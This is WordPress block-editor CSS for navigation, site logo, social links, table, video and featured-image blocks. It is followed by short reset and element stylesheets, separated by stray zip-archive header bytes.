.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
  left:0;
  top:155px;
}
@media (min-width:782px){
  .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
    top:61px;
  }
}
.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:109px;
}

body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{
  bottom:0;
  left:0;
  right:0;
  top:0;
}

.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  color:inherit;
  height:auto;
  padding:0;
}

.components-heading.wp-block-navigation-off-canvas-editor__title{
  margin:0;
}

.wp-block-navigation-off-canvas-editor__header{
  margin-bottom:8px;
}

.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{
  margin-top:16px;
}

@keyframes fadein{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.wp-block-navigation__loading-indicator-container{
  padding:8px 12px;
}

.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{
  margin-top:0;
}

@keyframes fadeouthalf{
  0%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.wp-block-navigation-delete-menu-button{
  justify-content:center;
  margin-bottom:16px;
  width:100%;
}

.components-button.is-link.wp-block-navigation-manage-menus-button{
  margin-bottom:16px;
}

.wp-block-navigation__overlay-menu-preview{
  align-items:center;
  background-color:#f0f0f0;
  display:flex;
  height:64px !important;
  justify-content:space-between;
  margin-bottom:12px;
  padding:0 24px;
  width:100%;
}
.wp-block-navigation__overlay-menu-preview.open{
  background-color:#fff;
  box-shadow:inset 0 0 0 1px #e0e0e0;
  outline:1px solid #0000;
}

.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{
  display:none;
}
.wp-block-navigation__navigation-selector{
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__navigation-selector-button{
  border:1px solid;
  justify-content:space-between;
  width:100%;
}

.wp-block-navigation__navigation-selector-button__icon{
  flex:0 0 auto;
}

.wp-block-navigation__navigation-selector-button__label{
  flex:0 1 auto;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.wp-block-navigation__navigation-selector-button--createnew{
  border:1px solid;
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__responsive-container-open.components-button{
  opacity:1;
}

.wp-block-navigation__menu-inspector-controls{
  overflow-x:auto;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  will-change:transform;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .wp-block-navigation__menu-inspector-controls{
    scrollbar-color:#949494 #0000;
  }
}

.wp-block-navigation__menu-inspector-controls__empty-message{
  margin-left:24px;
}

.wp-block-navigation__overlay-menu-icon-toggle-group{
  margin-bottom:16px;
}
.wp-block-navigation .block-list-appender{
  position:relative;
}
.wp-block-navigation .has-child{
  cursor:pointer;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{
  z-index:29;
}
.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  min-width:200px !important;
  opacity:1 !important;
  overflow:visible !important;
  visibility:visible !important;
  width:auto !important;
}
.wp-block-navigation-item .wp-block-navigation-item__content{
  cursor:text;
}
.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{
  min-width:20px;
}
.wp-block-navigation-item .block-list-appender{
  margin:16px auto 16px 16px;
}

.wp-block-navigation-link__invalid-item{
  color:#000;
}
.wp-block-navigation-link__placeholder{
  background-image:none !important;
  box-shadow:none !important;
  position:relative;
  text-decoration:none !important;
}
.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  -webkit-text-decoration:wavy underline;
          text-decoration:wavy underline;
  -webkit-text-decoration-skip-ink:none;
          text-decoration-skip-ink:none;
  text-underline-offset:.25rem;
}
.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{
  cursor:pointer;
}
.link-control-transform{
  border-top:1px solid #ccc;
  padding:0 16px 8px;
}

.link-control-transform__subheading{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}

.link-control-transform__items{
  display:flex;
  justify-content:space-between;
}

.link-control-transform__item{
  flex-basis:33%;
  flex-direction:column;
  gap:8px;
  height:auto;
}

.wp-block-navigation-submenu{
  display:block;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  left:-1px;
  min-width:200px !important;
  opacity:1 !important;
  position:absolute;
  top:100%;
  visibility:visible !important;
  width:auto !important;
}
@media (min-width:782px){
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    top:-1px;
  }
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    position:absolute;
    right:100%;
    width:.5em;
  }
}

.block-editor-block-list__block[data-type="core/nextpage"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-nextpage{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-nextpage>span{
  background:#fff;
  border-radius:4px;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  padding:6px 8px;
  position:relative;
  text-transform:uppercase;
}
.wp-block-nextpage:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}

.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{
  background-color:inherit;
}
.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{
  display:contents;
  flex:1;
}
.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{
  flex:inherit;
}

.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{
  display:block;
}

.wp-block-pages-list__item__link{
  pointer-events:none;
}

@media (min-width:600px){
  .wp-block-page-list-modal{
    max-width:480px;
  }
}

.wp-block-page-list-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}

.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  visibility:visible;
  width:auto;
}

.wp-block-page-list__loading-indicator-container{
  padding:8px 12px;
}

.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{
  min-height:auto !important;
}

.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{
  opacity:1;
}

.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{
  opacity:0;
}

.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}

.is-zoomed-out .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{
  opacity:0;
}

.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{
  margin-bottom:0;
}

.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{
  display:inline;
}

.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:32px;
}
.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote .wp-block-pullquote__citation{
  color:inherit;
}

.wp-block-rss li a>div{
  display:inline;
}

.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{
  flex:1 1 auto;
}

.wp-block-rss .wp-block-rss{
  all:inherit;
  margin:0;
  padding:0;
}

.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block-search :where(.wp-block-search__button){
  align-items:center;
  border-radius:initial;
  display:flex;
  height:auto;
  justify-content:center;
  text-align:center;
}

.wp-block-search__inspector-controls .components-base-control{
  margin-bottom:0;
}

.block-editor-block-list__block[data-type="core/separator"]{
  padding-bottom:.1px;
  padding-top:.1px;
}

.blocks-shortcode__textarea{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
  resize:none;
}
@media (min-width:600px){
  .blocks-shortcode__textarea{
    font-size:13px !important;
  }
}
.blocks-shortcode__textarea:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}

.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{
  display:table;
  margin-left:auto;
  margin-right:auto;
}

.wp-block-site-logo a{
  pointer-events:none;
}
.wp-block-site-logo .custom-logo-link{
  cursor:inherit;
}
.wp-block-site-logo .custom-logo-link:focus{
  box-shadow:none;
}
.wp-block-site-logo img{
  display:block;
  height:auto;
  max-width:100%;
}
.wp-block-site-logo.is-transient{
  position:relative;
}
.wp-block-site-logo.is-transient img{
  opacity:.3;
}
.wp-block-site-logo.is-transient .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}

.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{
  height:60px;
  width:60px;
}
.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{
  border-radius:inherit;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder{
  align-items:center;
  border-radius:inherit;
  display:flex;
  height:100%;
  justify-content:center;
  min-height:48px;
  min-width:48px;
  padding:0;
  width:100%;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{
  display:none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  margin:auto;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{
  color:inherit;
}

.block-library-site-logo__inspector-media-replace-container{
  position:relative;
}
.block-library-site-logo__inspector-media-replace-container .components-drop-zone__content-icon{
  display:none;
}
.block-library-site-logo__inspector-media-replace-container button.components-button{
  box-shadow:inset 0 0 0 1px #ccc;
  color:#1e1e1e;
  display:block;
  height:40px;
  width:100%;
}
.block-library-site-logo__inspector-media-replace-container button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}
.block-library-site-logo__inspector-media-replace-container .components-dropdown{
  display:block;
}
.block-library-site-logo__inspector-media-replace-container img{
  aspect-ratio:1;
  border-radius:50% !important;
  box-shadow:inset 0 0 0 1px #0003;
  min-width:20px;
  width:20px;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{
  display:flex;
  height:40px;
  padding:6px 12px;
}

.wp-block-site-tagline__placeholder,.wp-block-site-title__placeholder{
  border:1px dashed;
  padding:1em 0;
}

.wp-block-social-links .wp-social-link{
  line-height:0;
}

.wp-block-social-link-anchor{
  align-items:center;
  background:none;
  border:0;
  box-sizing:border-box;
  color:currentColor;
  cursor:pointer;
  display:inline-flex;
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
  height:auto;
  margin:0;
  opacity:1;
  padding:.25em;
}
.wp-block-social-link-anchor:hover{
  transform:none;
}

:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){
  padding-left:.6666666667em;
  padding-right:.6666666667em;
}

:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){
  padding:0;
}

.wp-block-social-link__toolbar_content_text{
  width:250px;
}

.wp-block-social-links div.block-editor-url-input{
  display:inline-block;
  margin-left:8px;
}

.wp-social-link:hover{
  transform:none;
}

:root :where(.wp-block-social-links),:root :where(.wp-block-social-links.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link){
  padding:0;
}

:root :where(.wp-block-social-links__social-placeholder .wp-social-link){
  padding:.25em;
}

:root :where(.wp-block-social-links.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link){
  padding-left:.6666666667em;
  padding-right:.6666666667em;
}

.wp-block-social-links__social-placeholder{
  display:flex;
  list-style:none;
  opacity:.8;
}
.wp-block-social-links__social-placeholder>.wp-social-link{
  margin-left:0 !important;
  margin-right:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  visibility:hidden;
  width:0 !important;
}
.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{
  display:flex;
}
.wp-block-social-links__social-placeholder .wp-social-link:before{
  border-radius:50%;
  content:"";
  display:block;
  height:1em;
  width:1em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{
  background:currentColor;
}

.wp-block-social-links .wp-block-social-links__social-prompt{
  cursor:default;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:24px;
  list-style:none;
  margin-bottom:auto;
  margin-top:auto;
  min-height:24px;
  padding-right:8px;
}

.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{
  justify-content:center;
}

.block-editor-block-preview__content .components-button:disabled{
  opacity:1;
}

.wp-social-link.wp-social-link__is-incomplete{
  opacity:.5;
}

.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{
  opacity:1;
}

.wp-block-social-links .block-list-appender{
  position:static;
}
.wp-block-social-links .block-list-appender .block-editor-inserter{
  font-size:inherit;
}
.wp-block-social-links .block-list-appender .block-editor-button-block-appender{
  font-size:inherit;
  height:1.5em;
  padding:0;
  width:1.5em;
}

.block-editor-block-list__block[data-type="core/spacer"]:before{
  content:"";
  display:block;
  height:100%;
  min-height:8px;
  min-width:8px;
  position:absolute;
  width:100%;
  z-index:1;
}

.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#0000001a;
}
.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#ffffff26;
}

.block-library-spacer__resize-container{
  clear:both;
}
.block-library-spacer__resize-container:not(.is-resizing){
  height:100% !important;
  width:100% !important;
}
.block-library-spacer__resize-container .components-resizable-box__handle:before{
  content:none;
}
.block-library-spacer__resize-container.resize-horizontal{
  height:100% !important;
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{
  width:auto;
}
.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{
  word-break:break-word;
}
.wp-block[data-align=center]>.wp-block-table{
  text-align:initial;
}
.wp-block[data-align=center]>.wp-block-table table{
  margin:0 auto;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table td.is-selected,.wp-block-table th.is-selected{
  border-color:var(--wp-admin-theme-color);
  border-style:double;
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{
  border:1px solid;
}

.blocks-table__placeholder-form.blocks-table__placeholder-form{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
@media (min-width:782px){
  .blocks-table__placeholder-form.blocks-table__placeholder-form{
    align-items:flex-end;
    flex-direction:row;
  }
}

.blocks-table__placeholder-input{
  width:112px;
}

.wp-block-tag-cloud .wp-block-tag-cloud{
  border:none;
  border-radius:inherit;
  margin:0;
  padding:0;
}

.block-editor-template-part__selection-modal{
  z-index:1000001;
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-editor-template-part__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.block-library-template-part__selection-search{
  background:#fff;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}
.block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{
  outline-color:var(--wp-block-synced-color);
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.has-editable-outline:after{
  border:none;
}

.wp-block-text-columns .block-editor-rich-text__editable:focus{
  outline:1px solid #ddd;
}

.wp-block[data-align=center]>.wp-block-video{
  text-align:center;
}

.wp-block-video{
  position:relative;
}
.wp-block-video.is-transient video{
  opacity:.3;
}
.wp-block-video .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.editor-video-poster-control .components-button{
  margin-right:8px;
}

.block-library-video-tracks-editor{
  z-index:159990;
}

.block-library-video-tracks-editor__track-list-track{
  padding-left:12px;
}

.block-library-video-tracks-editor__single-track-editor-kind-select{
  max-width:240px;
}

.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{
  color:#757575;
  display:block;
  font-size:11px;
  font-weight:500;
  margin-top:4px;
  text-transform:uppercase;
}

.block-library-video-tracks-editor>.components-popover__content{
  width:360px;
}

.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{
  padding:0;
}

.block-library-video-tracks-editor__tracks-informative-message{
  padding:8px;
}
.block-library-video-tracks-editor__tracks-informative-message-description{
  margin-bottom:0;
}

.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{
  background:#fff;
  margin-bottom:-4px;
  padding:16px 0;
  position:sticky;
  top:0;
  transform:translateY(-4px);
  z-index:2;
}

@media (min-width:600px){
  .wp-block-query__enhanced-pagination-modal{
    max-width:480px;
  }
}

.block-editor-block-settings-menu__popover.is-expanded{
  overflow-y:scroll;
}
.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{
  height:100%;
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr;
  grid-gap:12px;
  min-width:280px;
}
@media (min-width:600px){
  .block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
    grid-template-columns:1fr 1fr;
    min-width:480px;
  }
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-query-pagination{
  justify-content:center;
}

:where(.editor-styles-wrapper) .wp-block-query-pagination{
  max-width:100%;
}
:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-query-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-query-pagination-numbers .page-numbers{
  margin-right:2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}

.wp-block-post-featured-image .block-editor-media-placeholder{
  -webkit-backdrop-filter:none;
          backdrop-filter:none;
  z-index:1;
}
.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{
  align-items:center;
  display:flex;
  justify-content:center;
  min-height:200px;
  padding:0;
}
.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{
  display:none;
}
.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  margin:auto;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{
  color:inherit;
}
.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){
  border-right-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){
  border-left-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){
  border-right-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){
  border-left-style:solid;
}
.wp-block-post-featured-image[style*=height] .components-placeholder{
  height:100%;
  min-height:48px;
  min-width:48px;
  width:100%;
}
.wp-block-post-featured-image>a{
  pointer-events:none;
}
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}
.wp-block-post-featured-image.is-transient{
  position:relative;
}
.wp-block-post-featured-image.is-transient img{
  opacity:.3;
}
.wp-block-post-featured-image.is-transient .components-spinner{
  left:50%;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}

div[data-type="core/post-featured-image"] img{
  display:block;
  height:auto;
  max-width:100%;
}

.wp-block-post-comments-form *{
  pointer-events:none;
}
.wp-block-post-comments-form .block-editor-warning *{
  pointer-events:auto;
}
.wp-element-button{
  cursor:revert;
}
.wp-element-button[role=textbox]{
  cursor:text;
}
:root .editor-styles-wrapper .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .editor-styles-wrapper .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .editor-styles-wrapper .has-very-light-gray-color{
  color:#eee;
}
:root .editor-styles-wrapper .has-very-dark-gray-color{
  color:#313131;
}
:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(135deg, #00d084, #0693e3);
}
:root .editor-styles-wrapper .has-purple-crush-gradient-background{
  background:linear-gradient(135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{
  background:linear-gradient(135deg, #faaca8, #dad0ec);
}
:root .editor-styles-wrapper .has-subdued-olive-gradient-background{
  background:linear-gradient(135deg, #fafae1, #67a671);
}
:root .editor-styles-wrapper .has-atomic-cream-gradient-background{
  background:linear-gradient(135deg, #fdd79a, #004a59);
}
:root .editor-styles-wrapper .has-nightshade-gradient-background{
  background:linear-gradient(135deg, #330968, #31cdcf);
}
:root .editor-styles-wrapper .has-midnight-gradient-background{
  background:linear-gradient(135deg, #020381, #2874fc);
}

:where(.editor-styles-wrapper) .has-regular-font-size{
  font-size:16px;
}

:where(.editor-styles-wrapper) .has-larger-font-size{
  font-size:42px;
}
:where(.editor-styles-wrapper) iframe:not([frameborder]){
  border:0;
}PK1Xd[:��''#dist/block-library/elements-rtl.cssnu�[���.wp-element-button{
  cursor:pointer;
}PK1Xd[P�š��dist/block-library/reset.cssnu�[���html :where(.editor-styles-wrapper){
  background:#fff;
  color:initial;
  font-family:serif;
  font-size:medium;
  line-height:normal;
}
:where(.editor-styles-wrapper) .wp-align-wrapper{
  max-width:840px;
}
:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{
  max-width:none;
}
:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{
  max-width:840px;
}
:where(.editor-styles-wrapper) a{
  transition:none;
}
:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{
  background:inherit;
  font-family:monospace;
  font-size:inherit;
  margin:0;
  padding:0;
}
:where(.editor-styles-wrapper) p{
  font-size:revert;
  line-height:revert;
  margin:revert;
}
:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{
  box-sizing:border-box;
  list-style-type:revert;
  margin:revert;
  padding:revert;
}
:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{
  margin:revert;
}
:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{
  margin:revert;
}
:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{
  list-style-type:revert;
}
